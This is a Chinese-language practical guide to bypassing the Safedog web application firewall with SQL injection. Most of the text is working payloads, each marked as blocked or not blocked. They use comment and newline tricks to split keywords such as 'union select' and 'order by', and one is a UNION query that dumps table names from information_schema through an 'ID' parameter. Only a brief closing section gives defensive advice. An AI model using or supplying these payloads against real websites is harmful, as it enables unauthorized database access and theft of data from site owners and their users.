一次实战sql注入绕狗
字数 1189 2025-08-25 22:58:40
SQL注入绕过安全狗防护实战指南
1. 基础绕过技术
1.1 绕过基础布尔表达式
and 1=1直接被拦截- 替代方案:
and 1 like 1(仍被拦截)and /*!1=1*/(不拦截)and hex(1)(不拦截)%23%0a 1=1(被拦截)
1.2 绕过ORDER BY检测
- 单独
order或by不拦截,组合order by被拦截 - 绕过方法:
order%23%0aby 1(不拦截)order /*!by */ 1(被拦截)order --+%0a by(被拦截)- 有效方法:
order --+all%0a by 1(不拦截且语句有效)
2. UNION SELECT绕过技术
2.1 基本绕过方法
- 单独
union或select不拦截,组合union select被拦截 - 绕过尝试:
union%23%0aselect(被拦截)union--+%0aselect(被拦截)union%23xxx%0aselect(不拦截)union-- xxx%0aselect(不拦截)union--+xxx%0aselect(不拦截)
2.2 注释符绕过
- 使用注释符构造完整SQL语句:
ID=-17 union select 1,2,3,4,5,6,7,8,9,10,11,12,13%23/(不拦截)ID=-17 "/" union select 1,2,3,4,5,6,7,8,9,10,11,12,13 "/"(不拦截,前提是未开启GPC或未使用addslashes()函数)
3. 系统函数绕过
3.1 常用函数绕过
database()→database/**/()database()→database/*!()*/user()→user/**/()user()→user/*!()*/
注:基本上使用/**/注释即可绕过系统函数检测
4. 数据库表查询绕过
4.1 联合查询方法
- 直接构造正常语句:
?/*&ID=-17 union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13 from information_schema.tables where table_schema=database()%23*/
4.2 不使用联合查询的绕过方法
- 使用
%23njjknjk%0a绕过:?ID=-17 union %23njjknjk%0a select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13 from%23njjknjk%0ainformation_schema.tables%23njjknjk%0awhere%20table_schema=0x73685f6a7a%20--+%23后可随意添加数据,%0a为换行符- 若单双引号被转义,可使用hex编码绕过
5. 关键总结
- 安全狗主要拦截特定关键词组合而非单独关键词
- 通过添加注释、换行符或无关内容可有效绕过检测
- 注释符
/**/和/*!*/是有效的绕过工具 - 十六进制编码可绕过引号转义问题
- 在关键词之间插入干扰内容(如
--+all%0a)是有效策略
6. 防御建议
- 使用参数化查询而非拼接SQL
- 开启GPC或使用addslashes()函数
- 对输入进行严格过滤和验证
- 使用WAF规则更新最新绕过技术
- 限制数据库用户权限,避免使用高权限账户连接